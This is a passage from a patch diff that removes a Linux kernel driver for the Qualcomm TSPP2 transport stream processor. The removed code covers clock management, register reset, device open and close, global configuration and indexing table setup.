Can't start tspp2_core_clk\n", __func__); +- goto err_clocks; +- } +- tspp2_core_clk = 1; +- } +- +- if (device->tspp2_klm_ahb_clk) { +- if (clk_prepare_enable(device->tspp2_klm_ahb_clk) != 0) { +- pr_err("%s: Can't start tspp2_klm_ahb_clk\n", __func__); +- goto err_clocks; +- } +- tspp2_klm_ahb_clk = 1; +- } +- +- if (device->tsif_ref_clk) { +- if (clk_prepare_enable(device->tsif_ref_clk) != 0) { +- pr_err("%s: Can't start tsif_ref_clk\n", __func__); +- goto err_clocks; +- } +- tsif_ref_clk = 1; +- } +- +- /* Request Max bandwidth on the bus, required for full operation */ +- if (device->bus_client && +- msm_bus_scale_client_update_request(device->bus_client, 2)) { +- pr_err("%s: Can't enable bus\n", __func__); +- goto err_clocks; +- } +- +- return 0; +- +-err_clocks: +- if (tspp2_ahb_clk) +- clk_disable_unprepare(device->tspp2_ahb_clk); +- +- if (tspp2_core_clk) +- clk_disable_unprepare(device->tspp2_core_clk); +- +- if (tspp2_vbif_clk) +- clk_disable_unprepare(device->tspp2_vbif_clk); +- +- if (tspp2_klm_ahb_clk) +- clk_disable_unprepare(device->tspp2_klm_ahb_clk); +- +- if (tsif_ref_clk) +- clk_disable_unprepare(device->tsif_ref_clk); +- +- return -EBUSY; +-} +- +-/** +- * tspp2_clock_stop() - Disable TSPP2 clocks +- * +- * @device: The TSPP2 device. +- */ +-static void tspp2_clock_stop(struct tspp2_device *device) +-{ +- if (device == NULL) { +- pr_err("%s: Can't stop clocks, invalid device\n", __func__); +- return; +- } +- +- /* Minimize bandwidth bus voting */ +- if (device->bus_client) +- msm_bus_scale_client_update_request(device->bus_client, 0); +- +- if (device->tsif_ref_clk) +- clk_disable_unprepare(device->tsif_ref_clk); +- +- if (device->tspp2_klm_ahb_clk) +- clk_disable_unprepare(device->tspp2_klm_ahb_clk); +- +- if (device->tspp2_core_clk) +- clk_disable_unprepare(device->tspp2_core_clk); +- +- if (device->tspp2_ahb_clk) +- clk_disable_unprepare(device->tspp2_ahb_clk); +-} +- +-/** +- * tspp2_filter_counters_reset() - Reset a filter's HW counters. +- * +- * @device: TSPP2 device. +- * @index: Filter context index. Note counters are based on the context +- * index and not on the filter HW index. +- */ +-static void tspp2_filter_counters_reset(struct tspp2_device *device, u32 index) +-{ +- /* Reset filter counters */ +- writel_relaxed(0, device->base + TSPP2_FILTER_TSP_SYNC_ERROR(index)); +- writel_relaxed(0, device->base + TSPP2_FILTER_ERRED_TSP(index)); +- writel_relaxed(0, device->base + TSPP2_FILTER_DISCONTINUITIES(index)); +- writel_relaxed(0, +- device->base + TSPP2_FILTER_SCRAMBLING_BITS_DISCARD(index)); +- writel_relaxed(0, device->base + TSPP2_FILTER_TSP_TOTAL_NUM(index)); +- writel_relaxed(0, device->base + TSPP2_FILTER_DISCONT_INDICATOR(index)); +- writel_relaxed(0, device->base + TSPP2_FILTER_TSP_NO_PAYLOAD(index)); +- writel_relaxed(0, device->base + TSPP2_FILTER_TSP_DUPLICATE(index)); +- writel_relaxed(0, device->base + TSPP2_FILTER_KEY_FETCH_FAILURE(index)); +- writel_relaxed(0, device->base + TSPP2_FILTER_DROPPED_PCR(index)); +- writel_relaxed(0, device->base + TSPP2_FILTER_PES_ERRORS(index)); +-} +- +-/** +- * tspp2_global_hw_reset() - Reset TSPP2 device registers to a default state. +- * +- * @device: TSPP2 device. +- * @enable_intr: Enable specific interrupts or disable them. +- * +- * A helper function called from probe() and remove(), this function resets both +- * TSIF devices' SW structures and verifies the TSIF HW is stopped. It resets +- * TSPP2 registers to appropriate default values and makes sure to disable +- * all sources, filters etc. Finally, it clears all interrupts and unmasks +- * the "important" interrupts. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_global_hw_reset(struct tspp2_device *device, +- int enable_intr) +-{ +- int i, n; +- unsigned long rate_in_hz = 0; +- u32 global_irq_en = 0; +- +- if (!device) { +- pr_err("%s: NULL device\n", __func__); +- return -ENODEV; +- } +- +- /* Stop TSIF devices */ +- for (i = 0; i < TSPP2_NUM_TSIF_INPUTS; i++) { +- device->tsif_devices[i].hw_index = i; +- device->tsif_devices[i].dev = device; +- device->tsif_devices[i].mode = TSPP2_TSIF_MODE_2; +- device->tsif_devices[i].clock_inverse = 0; +- device->tsif_devices[i].data_inverse = 0; +- device->tsif_devices[i].sync_inverse = 0; +- device->tsif_devices[i].enable_inverse = 0; +- device->tsif_devices[i].stat_pkt_write_err = 0; +- device->tsif_devices[i].stat_pkt_read_err = 0; +- device->tsif_devices[i].stat_overflow = 0; +- device->tsif_devices[i].stat_lost_sync = 0; +- device->tsif_devices[i].stat_timeout = 0; +- device->tsif_devices[i].time_limit = TSPP2_TSIF_DEF_TIME_LIMIT; +- /* Set ref_count to 1 to allow stopping HW */ +- device->tsif_devices[i].ref_count = 1; +- /* This will reset ref_count to 0 */ +- tspp2_tsif_stop(&device->tsif_devices[i]); +- } +- +- /* Reset indexing table registers */ +- for (i = 0; i < TSPP2_NUM_INDEXING_TABLES; i++) { +- writel_relaxed(0, device->base + TSPP2_INDEX_TABLE_PREFIX(i)); +- writel_relaxed(0, +- device->base + TSPP2_INDEX_TABLE_PREFIX_MASK(i)); +- for (n = 0; n < TSPP2_NUM_INDEXING_PATTERNS; n++) { +- writel_relaxed(0, device->base + +- TSPP2_INDEX_TABLE_PATTEREN(i, n)); +- writel_relaxed(0, +- device->base + TSPP2_INDEX_TABLE_MASK(i, n)); +- } +- /* Set number of patterns to 0, prefix size to 4 by default */ +- writel_relaxed(0x00000400, +- device->base + TSPP2_INDEX_TABLE_PARAMS(i)); +- } +- +- /* Disable TSIF inputs. Set mode of operation to 16 batches */ +- for (i = 0; i < TSPP2_NUM_TSIF_INPUTS; i++) +- writel_relaxed((0x1 << TSIF_INPUT_SRC_CONFIG_16_BATCHES_OFFS), +- device->base + TSPP2_TSIF_INPUT_SRC_CONFIG(i)); +- +- /* Reset source related registers and performance counters */ +- for (i = 0; i < TSPP2_NUM_ALL_INPUTS; i++) { +- writel_relaxed(0, device->base + TSPP2_SRC_DEST_PIPES(i)); +- +- /* Set source configuration to default values */ +- writel_relaxed(TSPP2_DEFAULT_SRC_CONFIG, +- device->base + TSPP2_SRC_CONFIG(i)); +- } +- writel_relaxed(0x000003FF, device->base + TSPP2_SRC_TOTAL_TSP_RESET); +- writel_relaxed(0x000003FF, +- device->base + TSPP2_SRC_FILTERED_OUT_TSP_RESET); +- +- /* Reset all contexts, each register handles 32 contexts */ +- for (i = 0; i < 4; i++) { +- writel_relaxed(0xFFFFFFFF, +- device->base + TSPP2_TSP_CONTEXT_RESET(i)); +- writel_relaxed(0xFFFFFFFF, +- device->base + TSPP2_PES_CONTEXT_RESET(i)); +- writel_relaxed(0xFFFFFFFF, +- device->base + TSPP2_INDEXING_CONTEXT_RESET(i)); +- } +- +- for (i = 0; i < TSPP2_NUM_HW_FILTERS; i++) { +- /* +- * Reset operations: put exit operation in all filter operations +- */ +- for (n = 0; n < TSPP2_MAX_OPS_PER_FILTER; n++) { +- writel_relaxed(TSPP2_OPCODE_EXIT, +- device->base + TSPP2_OPCODE(i, n)); +- } +- /* Disable all HW filters */ +- writel_relaxed(0, device->base + TSPP2_FILTER_ENTRY0(i)); +- writel_relaxed(0, device->base + TSPP2_FILTER_ENTRY1(i)); +- } +- +- for (i = 0; i < TSPP2_NUM_CONTEXTS; i++) { +- /* Reset filter context-based counters */ +- tspp2_filter_counters_reset(device, i); +- } +- +- /* +- * Disable memory inputs. Set mode of operation to 16 batches. +- * Configure last batch to be associated with all memory input sources, +- * and add a filter to match all PIDs and drop the TS packets in the +- * last HW filter entry. Use the last context for this filter. +- */ +- for (i = 0; i < TSPP2_NUM_MEM_INPUTS; i++) +- writel_relaxed(TSPP2_DEFAULT_MEM_SRC_CONFIG, +- device->base + TSPP2_MEM_INPUT_SRC_CONFIG(i)); +- +- writel_relaxed(((TSPP2_NUM_CONTEXTS - 1) << FILTER_ENTRY1_CONTEXT_OFFS), +- device->base + TSPP2_FILTER_ENTRY1((TSPP2_NUM_HW_FILTERS - 1))); +- writel_relaxed((0x1 << FILTER_ENTRY0_EN_OFFS), +- device->base + TSPP2_FILTER_ENTRY0((TSPP2_NUM_HW_FILTERS - 1))); +- +- /* Reset pipe registers */ +- for (i = 0; i < TSPP2_NUM_PIPES; i++) +- writel_relaxed(0xFFFF, +- device->base + TSPP2_PIPE_THRESH_CONFIG(i)); +- +- writel_relaxed(0, device->base + TSPP2_PIPE_SECURITY); +- writel_relaxed(0x7FFFFFFF, +- device->base + TSPP2_DATA_NOT_SENT_ON_PIPE_RESET); +- +- /* Set global configuration to default values */ +- +- /* +- * Default: minimum time between PCRs = 50msec, STC offset is 0, +- * transmit PCR on discontinuity. +- */ +- writel_relaxed(0x00000432, device->base + TSPP2_PCR_GLOBAL_CONFIG); +- +- /* Set correct value according to TSPP2 clock: */ +- if (device->tspp2_core_clk) { +- rate_in_hz = clk_get_rate(device->tspp2_core_clk); +- writel_relaxed((rate_in_hz / MSEC_PER_SEC), +- device->base + TSPP2_CLK_TO_PCR_TIME_UNIT); +- } else { +- writel_relaxed(0x00000000, +- device->base + TSPP2_CLK_TO_PCR_TIME_UNIT); +- } +- +- writel_relaxed(0x00000000, device->base + TSPP2_DESC_WAIT_TIMEOUT); +- +- /* Clear all global interrupts */ +- writel_relaxed(0xFFFF000F, device->base + TSPP2_GLOBAL_IRQ_CLEAR); +- writel_relaxed(0x7FFFFFFF, +- device->base + TSPP2_UNEXPECTED_RST_IRQ_CLEAR); +- writel_relaxed(0x7FFFFFFF, +- device->base + TSPP2_WRONG_PIPE_DIR_IRQ_CLEAR); +- writel_relaxed(0x7FFFFFFF, +- device->base + TSPP2_QSB_RESPONSE_ERROR_IRQ_CLEAR); +- writel_relaxed(0xFFFFFFFF, +- device->base + TSPP2_KEY_NOT_READY_IRQ_CLEAR); +- +- /* +- * Global interrupts configuration: +- * Flow Control (per memory source): Disabled +- * Read Failure (per memory source): Enabled +- * SC_GO_LOW (aggregate): Enabled +- * SC_GO_HIGH (aggregate): Enabled +- * Wrong Pipe Direction (aggregate): Enabled +- * QSB Response Error (aggregate): Enabled +- * Unexpected Reset (aggregate): Enabled +- * Key Not Ready (aggregate): Disabled +- * Op Encrypt Level Error: Enabled +- * PES No Sync: Disabled (module parameter) +- * TSP Invalid Length: Disabled (module parameter) +- * TSP Invalid AF Control: Disabled (module parameter) +- */ +- global_irq_en = 0x00FF03E8; +- if (tspp2_en_invalid_af_ctrl) +- global_irq_en |= +- (0x1 << GLOBAL_IRQ_TSP_INVALID_AF_OFFS); +- if (tspp2_en_invalid_af_length) +- global_irq_en |= (0x1 << GLOBAL_IRQ_TSP_INVALID_LEN_OFFS); +- if (tspp2_en_pes_no_sync) +- global_irq_en |= (0x1 << GLOBAL_IRQ_PES_NO_SYNC_OFFS); +- +- if (enable_intr) +- writel_relaxed(global_irq_en, +- device->base + TSPP2_GLOBAL_IRQ_ENABLE); +- else +- writel_relaxed(0, device->base + TSPP2_GLOBAL_IRQ_ENABLE); +- +- if (enable_intr) { +- /* Enable all pipe related interrupts */ +- writel_relaxed(0x7FFFFFFF, +- device->base + TSPP2_UNEXPECTED_RST_IRQ_ENABLE); +- writel_relaxed(0x7FFFFFFF, +- device->base + TSPP2_WRONG_PIPE_DIR_IRQ_ENABLE); +- writel_relaxed(0x7FFFFFFF, +- device->base + TSPP2_QSB_RESPONSE_ERROR_IRQ_ENABLE); +- } else { +- /* Disable all pipe related interrupts */ +- writel_relaxed(0, +- device->base + TSPP2_UNEXPECTED_RST_IRQ_ENABLE); +- writel_relaxed(0, +- device->base + TSPP2_WRONG_PIPE_DIR_IRQ_ENABLE); +- writel_relaxed(0, +- device->base + TSPP2_QSB_RESPONSE_ERROR_IRQ_ENABLE); +- } +- +- /* Disable Key Ladder interrupts */ +- writel_relaxed(0, device->base + TSPP2_KEY_NOT_READY_IRQ_ENABLE); +- +- /* +- * Clear and disable scrambling control interrupts. +- * Each register handles 32 filters. +- */ +- for (i = 0; i < 4; i++) { +- writel_relaxed(0xFFFFFFFF, +- device->base + TSPP2_SC_GO_HIGH_CLEAR(i)); +- writel_relaxed(0, device->base + TSPP2_SC_GO_HIGH_ENABLE(i)); +- writel_relaxed(0xFFFFFFFF, +- device->base + TSPP2_SC_GO_LOW_CLEAR(i)); +- writel_relaxed(0, device->base + TSPP2_SC_GO_LOW_ENABLE(i)); +- } +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_event_work_handler - Handle the work - invoke the user callback. +- * +- * @work: The work information. +- */ +-static void tspp2_event_work_handler(struct work_struct *work) +-{ +- struct tspp2_event_work *event_work = +- container_of(work, struct tspp2_event_work, work); +- struct tspp2_event_work cb_info = *event_work; +- +- if (mutex_lock_interruptible(&event_work->device->mutex)) +- return; +- +- list_add_tail(&event_work->link, &event_work->device->free_work_list); +- +- mutex_unlock(&event_work->device->mutex); +- +- /* +- * Must run callback with tspp2 device mutex unlocked, +- * as callback might call tspp2 driver API and cause a deadlock. +- */ +- if (cb_info.callback) +- cb_info.callback(cb_info.cookie, cb_info.event_bitmask); +-} +- +-/** +- * tspp2_device_initialize() - Initialize TSPP2 device SW structures. +- * +- * @device: TSPP2 device +- * +- * Initialize the required SW structures and fields in the TSPP2 device, +- * including ION client creation, BAM registration, debugfs initialization etc. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_device_initialize(struct tspp2_device *device) +-{ +- int i, ret; +- +- if (!device) { +- pr_err("%s: NULL device\n", __func__); +- return -ENODEV; +- } +- +- /* Register BAM */ +- device->bam_props.summing_threshold = 0x10; +- device->bam_props.irq = device->bam_irq; +- device->bam_props.manage = SPS_BAM_MGR_LOCAL; +- +- ret = sps_register_bam_device(&device->bam_props, &device->bam_handle); +- if (ret) { +- pr_err("%s: failed to register BAM\n", __func__); +- return ret; +- } +- ret = sps_device_reset(device->bam_handle); +- if (ret) { +- sps_deregister_bam_device(device->bam_handle); +- pr_err("%s: error resetting BAM\n", __func__); +- return ret; +- } +- +- spin_lock_init(&device->spinlock); +- wakeup_source_init(&device->wakeup_src, dev_name(&device->pdev->dev)); +- +- for (i = 0; i < TSPP2_NUM_TSIF_INPUTS; i++) +- tspp2_tsif_debugfs_init(&device->tsif_devices[i]); +- +- /* +- * The device structure was allocated using devm_kzalloc() so +- * the memory was initialized to zero. We don't need to specifically set +- * fields to zero, then. We only set the fields we need to, such as +- * batch_id. +- */ +- +- for (i = 0; i < TSPP2_NUM_BATCHES; i++) { +- device->batches[i].batch_id = i; +- device->batches[i].src = NULL; +- INIT_LIST_HEAD(&device->batches[i].link); +- } +- +- /* +- * We set the device back-pointer in the sources, filters and pipes +- * databases here, so that back-pointer is always valid (instead of +- * setting it when opening a source, filter or pipe). +- */ +- for (i = 0; i < TSPP2_NUM_TSIF_INPUTS; i++) +- device->tsif_sources[i].device = device; +- +- for (i = 0; i < TSPP2_NUM_MEM_INPUTS; i++) +- device->mem_sources[i].device = device; +- +- for (i = 0; i < TSPP2_NUM_AVAIL_FILTERS; i++) +- device->filters[i].device = device; +- +- for (i = 0; i < TSPP2_NUM_PIPES; i++) +- device->pipes[i].device = device; +- +- /* +- * Note: tsif_devices are initialized as part of tspp2_global_hw_reset() +- */ +- +- device->work_queue = +- create_singlethread_workqueue(dev_name(device->dev)); +- INIT_LIST_HEAD(&device->free_work_list); +- for (i = 0; i < TSPP2_NUM_EVENT_WORK_ELEMENTS; i++) { +- device->work_pool[i].device = device; +- device->work_pool[i].callback = 0; +- device->work_pool[i].cookie = 0; +- device->work_pool[i].event_bitmask = 0; +- INIT_LIST_HEAD(&device->work_pool[i].link); +- INIT_WORK(&device->work_pool[i].work, +- tspp2_event_work_handler); +- +- list_add_tail(&device->work_pool[i].link, +- &device->free_work_list); +- } +- +- device->event_callback = NULL; +- device->event_cookie = NULL; +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_device_uninitialize() - TSPP2 device teardown and cleanup. +- * +- * @device: TSPP2 device +- * +- * TSPP2 device teardown: debugfs removal, BAM de-registration etc. +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_device_uninitialize(struct tspp2_device *device) +-{ +- int i; +- +- if (!device) { +- pr_err("%s: NULL device\n", __func__); +- return -ENODEV; +- } +- +- destroy_workqueue(device->work_queue); +- +- for (i = 0; i < TSPP2_NUM_TSIF_INPUTS; i++) +- tspp2_tsif_debugfs_exit(&device->tsif_devices[i]); +- +- /* Need to start clocks for BAM de-registration */ +- if (pm_runtime_get_sync(device->dev) >= 0) { +- sps_deregister_bam_device(device->bam_handle); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- } +- +- wakeup_source_trash(&device->wakeup_src); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +- +-/** +- * tspp2_src_disable_internal() - Helper function to disable a source. +- * +- * @src: Source to disable. +- * +- * Return 0 on success, error value otherwise. +- */ +-static int tspp2_src_disable_internal(struct tspp2_src *src) +-{ +- u32 reg; +- +- if (!src) { +- pr_err("%s: Invalid source handle\n", __func__); +- return -EINVAL; +- } +- +- if (!src->opened) { +- pr_err("%s: Source not opened\n", __func__); +- return -EINVAL; +- } +- +- if (!src->enabled) { +- pr_warn("%s: Source already disabled\n", __func__); +- return 0; +- } +- +- if ((src->input == TSPP2_INPUT_TSIF0) || +- (src->input == TSPP2_INPUT_TSIF1)) { +- reg = readl_relaxed(src->device->base + +- TSPP2_TSIF_INPUT_SRC_CONFIG(src->input)); +- reg &= ~(0x1 << TSIF_INPUT_SRC_CONFIG_INPUT_EN_OFFS); +- writel_relaxed(reg, src->device->base + +- TSPP2_TSIF_INPUT_SRC_CONFIG(src->input)); +- +- tspp2_tsif_stop(&src->device->tsif_devices[src->input]); +- } else { +- reg = readl_relaxed(src->device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- reg &= ~(0x1 << MEM_INPUT_SRC_CONFIG_INPUT_EN_OFFS); +- writel_relaxed(reg, src->device->base + +- TSPP2_MEM_INPUT_SRC_CONFIG(src->hw_index)); +- } +- +- /* +- * HW requires we wait for up to 2ms here before closing the pipes +- * attached to (and used by) this source +- */ +- udelay(TSPP2_HW_DELAY_USEC); +- +- src->enabled = 0; +- src->device->num_enabled_sources--; +- +- if (src->device->num_enabled_sources == 0) { +- __pm_relax(&src->device->wakeup_src); +- tspp2_clock_stop(src->device); +- } +- +- return 0; +-} +- +-/* TSPP2 device open / close API */ +- +-/** +- * tspp2_device_open() - Open a TSPP2 device for use. +- * +- * @dev_id: TSPP2 device ID. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_device_open(u32 dev_id) +-{ +- int rc; +- u32 reg = 0; +- struct tspp2_device *device; +- +- if (dev_id >= TSPP2_NUM_DEVICES) { +- pr_err("%s: Invalid device ID %d\n", __func__, dev_id); +- return -ENODEV; +- } +- +- device = tspp2_devices[dev_id]; +- if (!device) { +- pr_err("%s: Invalid device\n", __func__); +- return -ENODEV; +- } +- +- if (mutex_lock_interruptible(&device->mutex)) +- return -ERESTARTSYS; +- +- if (device->opened) { +- pr_err("%s: Device already opened\n", __func__); +- mutex_unlock(&device->mutex); +- return -EPERM; +- } +- +- /* Enable power regulator */ +- rc = regulator_enable(device->gdsc); +- if (rc) +- goto err_mutex_unlock; +- +- /* Reset TSPP2 core */ +- clk_reset(device->tspp2_core_clk, CLK_RESET_ASSERT); +- udelay(10); +- clk_reset(device->tspp2_core_clk, CLK_RESET_DEASSERT); +- +- /* Start HW clocks before accessing registers */ +- rc = tspp2_reg_clock_start(device); +- if (rc) +- goto err_regulator_disable; +- +- rc = tspp2_global_hw_reset(device, 1); +- if (rc) +- goto err_stop_clocks; +- +- rc = tspp2_device_initialize(device); +- if (rc) +- goto err_stop_clocks; +- +- reg = readl_relaxed(device->base + TSPP2_VERSION); +- pr_info("TSPP2 HW Version: Major = %d, Minor = %d, Step = %d\n", +- ((reg & 0xF0000000) >> VERSION_MAJOR_OFFS), +- ((reg & 0x0FFF0000) >> VERSION_MINOR_OFFS), +- ((reg & 0x0000FFFF) >> VERSION_STEP_OFFS)); +- +- /* Stop HW clocks to save power */ +- tspp2_reg_clock_stop(device); +- +- /* Enable runtime power management */ +- pm_runtime_set_autosuspend_delay(device->dev, MSEC_PER_SEC); +- pm_runtime_use_autosuspend(device->dev); +- pm_runtime_enable(device->dev); +- +- device->opened = 1; +- +- mutex_unlock(&device->mutex); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +- +-err_stop_clocks: +- tspp2_reg_clock_stop(device); +-err_regulator_disable: +- regulator_disable(device->gdsc); +-err_mutex_unlock: +- mutex_unlock(&device->mutex); +- +- return rc; +-} +-EXPORT_SYMBOL(tspp2_device_open); +- +-/** +- * tspp2_device_close() - Close a TSPP2 device. +- * +- * @dev_id: TSPP2 device ID. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_device_close(u32 dev_id) +-{ +- int i; +- int ret = 0; +- struct tspp2_device *device; +- +- if (dev_id >= TSPP2_NUM_DEVICES) { +- pr_err("%s: Invalid device ID %d\n", __func__, dev_id); +- return -ENODEV; +- } +- +- device = tspp2_devices[dev_id]; +- if (!device) { +- pr_err("%s: Invalid device\n", __func__); +- return -ENODEV; +- } +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- mutex_lock(&device->mutex); +- +- if (!device->opened) { +- pr_err("%s: Device already closed\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EPERM; +- } +- device->opened = 0; +- +- /* +- * In case the user has not disabled all the enabled sources, we need +- * to disable them here, specifically in order to call tspp2_clock_stop, +- * because the calls to enable and disable the clocks should be +- * symmetrical (otherwise we cannot put the clocks). +- */ +- for (i = 0; i < TSPP2_NUM_TSIF_INPUTS; i++) { +- if (device->tsif_sources[i].enabled) +- tspp2_src_disable_internal(&device->tsif_sources[i]); +- } +- for (i = 0; i < TSPP2_NUM_MEM_INPUTS; i++) { +- if (device->mem_sources[i].enabled) +- tspp2_src_disable_internal(&device->mem_sources[i]); +- } +- +- /* bring HW registers back to a known state */ +- tspp2_global_hw_reset(device, 0); +- +- tspp2_device_uninitialize(device); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- /* Disable runtime power management */ +- pm_runtime_disable(device->dev); +- pm_runtime_set_suspended(device->dev); +- +- if (regulator_disable(device->gdsc)) +- pr_err("%s: Error disabling power regulator\n", __func__); +- +- mutex_unlock(&device->mutex); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_device_close); +- +-/* Global configuration API */ +- +-/** +- * tspp2_config_set() - Set device global configuration. +- * +- * @dev_id: TSPP2 device ID. +- * @cfg: TSPP2 global configuration parameters to set. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_config_set(u32 dev_id, const struct tspp2_config *cfg) +-{ +- int ret; +- u32 reg = 0; +- struct tspp2_device *device; +- +- if (dev_id >= TSPP2_NUM_DEVICES) { +- pr_err("%s: Invalid device ID %d\n", __func__, dev_id); +- return -ENODEV; +- } +- if (!cfg) { +- pr_err("%s: NULL configuration\n", __func__); +- return -EINVAL; +- } +- if (cfg->stc_byte_offset > 3) { +- pr_err("%s: Invalid stc_byte_offset %d, valid values are 0 - 3\n", +- __func__, cfg->stc_byte_offset); +- return -EINVAL; +- } +- +- device = tspp2_devices[dev_id]; +- if (!device) { +- pr_err("%s: Invalid device\n", __func__); +- return -ENODEV; +- } +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&device->mutex)) { +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -ERESTARTSYS; +- } +- +- if (!device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EPERM; +- } +- +- if (cfg->pcr_on_discontinuity) +- reg |= (0x1 << PCR_GLOBAL_CONFIG_PCR_ON_DISCONT_OFFS); +- +- reg |= (cfg->stc_byte_offset << PCR_GLOBAL_CONFIG_STC_OFFSET_OFFS); +- reg |= (cfg->min_pcr_interval << PCR_GLOBAL_CONFIG_PCR_INTERVAL_OFFS); +- +- writel_relaxed(reg, device->base + TSPP2_PCR_GLOBAL_CONFIG); +- +- mutex_unlock(&device->mutex); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_config_set); +- +-/** +- * tspp2_config_get() - Get current global configuration. +- * +- * @dev_id: TSPP2 device ID. +- * @cfg: TSPP2 global configuration parameters. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_config_get(u32 dev_id, struct tspp2_config *cfg) +-{ +- int ret; +- u32 reg = 0; +- struct tspp2_device *device; +- +- if (dev_id >= TSPP2_NUM_DEVICES) { +- pr_err("%s: Invalid device ID %d\n", __func__, dev_id); +- return -ENODEV; +- } +- if (!cfg) { +- pr_err("%s: NULL configuration\n", __func__); +- return -EINVAL; +- } +- +- device = tspp2_devices[dev_id]; +- if (!device) { +- pr_err("%s: Invalid device\n", __func__); +- return -ENODEV; +- } +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&device->mutex)) { +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -ERESTARTSYS; +- } +- +- if (!device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EPERM; +- } +- +- reg = readl_relaxed(device->base + TSPP2_PCR_GLOBAL_CONFIG); +- +- cfg->pcr_on_discontinuity = ((reg & PCR_GLOBAL_CONFIG_PCR_ON_DISCONT) >> +- PCR_GLOBAL_CONFIG_PCR_ON_DISCONT_OFFS); +- cfg->stc_byte_offset = ((reg & PCR_GLOBAL_CONFIG_STC_OFFSET) >> +- PCR_GLOBAL_CONFIG_STC_OFFSET_OFFS); +- cfg->min_pcr_interval = ((reg & PCR_GLOBAL_CONFIG_PCR_INTERVAL) >> +- PCR_GLOBAL_CONFIG_PCR_INTERVAL_OFFS); +- +- mutex_unlock(&device->mutex); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_config_get); +- +-/* Indexing tables API functions */ +- +-/** +- * tspp2_indexing_prefix_set() - Set prefix value and mask of an indexing table. +- * +- * @dev_id: TSPP2 device ID. +- * @table_id: Indexing table ID. +- * @value: Prefix 4-byte value. +- * @mask: Prefix 4-byte mask. +- * +- * Return 0 on success, error value otherwise. +- */ +-int tspp2_indexing_prefix_set(u32 dev_id, +- u8 table_id, +- u32 value, +- u32 mask) +-{ +- int ret; +- u32 reg; +- u8 size = 0; +- int i; +- struct tspp2_device *device; +- struct tspp2_indexing_table *table; +- +- if (dev_id >= TSPP2_NUM_DEVICES) { +- pr_err("%s: Invalid device ID %d\n", __func__, dev_id); +- return -ENODEV; +- } +- if (table_id >= TSPP2_NUM_INDEXING_TABLES) { +- pr_err("%s: Invalid table ID %d\n", __func__, table_id); +- return -EINVAL; +- } +- +- device = tspp2_devices[dev_id]; +- if (!device) { +- pr_err("%s: Invalid device\n", __func__); +- return -ENODEV; +- } +- +- ret = pm_runtime_get_sync(device->dev); +- if (ret < 0) +- return ret; +- +- if (mutex_lock_interruptible(&device->mutex)) { +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -ERESTARTSYS; +- } +- +- if (!device->opened) { +- pr_err("%s: Device must be opened first\n", __func__); +- mutex_unlock(&device->mutex); +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- return -EPERM; +- } +- +- table = &device->indexing_tables[table_id]; +- table->prefix_value = value; +- table->prefix_mask = mask; +- +- /* HW expects values/masks to be written in Big Endian format */ +- writel_relaxed(cpu_to_be32(value), +- device->base + TSPP2_INDEX_TABLE_PREFIX(table_id)); +- writel_relaxed(cpu_to_be32(mask), +- device->base + TSPP2_INDEX_TABLE_PREFIX_MASK(table_id)); +- +- /* Find the actual size of the prefix and set to HW */ +- reg = readl_relaxed(device->base + TSPP2_INDEX_TABLE_PARAMS(table_id)); +- for (i = 0; i < 32; i += 8) { +- if (mask & (0x000000FF << i)) +- size++; +- } +- reg &= ~(0x7 << INDEX_TABLE_PARAMS_PREFIX_SIZE_OFFS); +- reg |= (size << INDEX_TABLE_PARAMS_PREFIX_SIZE_OFFS); +- writel_relaxed(reg, device->base + TSPP2_INDEX_TABLE_PARAMS(table_id)); +- +- mutex_unlock(&device->mutex); +- +- pm_runtime_mark_last_busy(device->dev); +- pm_runtime_put_autosuspend(device->dev); +- +- dev_dbg(device->dev, "%s: successful\n", __func__); +- +- return 0; +-} +-EXPORT_SYMBOL(tspp2_indexing_prefix_set); +- +-/** +- * tspp2_indexing_patterns_add() - Add patterns to an indexing table. +- * +- * @dev_id: TSPP2 device ID. +- * @table_id: Indexing table ID. +- * @values: An array of 4-byte pattern values. +- * @masks: An array of corresponding 4-byte masks. +- * 